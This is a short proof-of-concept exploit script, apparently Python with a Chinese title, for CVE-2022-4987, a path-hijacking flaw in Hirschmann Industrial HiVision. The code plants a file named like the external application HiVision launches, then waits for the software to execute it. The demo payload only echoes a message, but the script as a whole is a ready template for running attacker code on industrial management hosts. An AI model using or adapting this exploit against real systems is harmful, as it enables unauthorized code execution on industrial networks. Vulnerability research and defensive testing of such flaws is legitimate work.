CVE-2022-4987 Hirschmann HiVision 路径劫持致代码执行

# Proof of Concept for CVE-2022-4987 # This PoC demonstrates how to exploit the path hijacking vulnerability. # An attacker would place a malicious executable in a path that HiVision searches. import os import sys def create_malicious_payload(target_exe_name): """ Simulates creating a malicious executable named 'target_exe_name'. In a real attack, this would be a harmful binary. """ # Create a simple file that acts as the malicious payload with open(target_exe_name, 'w') as f: f.write('@echo off\necho Malicious code executed by CVE-2022-4987\npause') # On Windows, this might need a .exe extension or be a batch script renamed # For Linux targets, permissions would be set (chmod +x) print(f"[*] Created malicious payload: {target_exe_name}") def main(): # Assume 'notepad.exe' or a configured external app is the target target_application = "configured_app.exe" print(f"[*] Exploiting CVE-2022-4987 on Hirschmann Industrial HiVision") print(f"[*] Targeting external application execution path...") # Step 1: Create the malicious binary in the current directory (often in PATH) create_malicious_payload(target_application) # Step 2: Wait for the HiVision service/user to trigger the external app print(f"[*] Payload placed. Waiting for HiVision to execute '{target_application}'...") print("[*] If triggered, the malicious code will run instead of the intended app.") if __name__ == "__main__": main()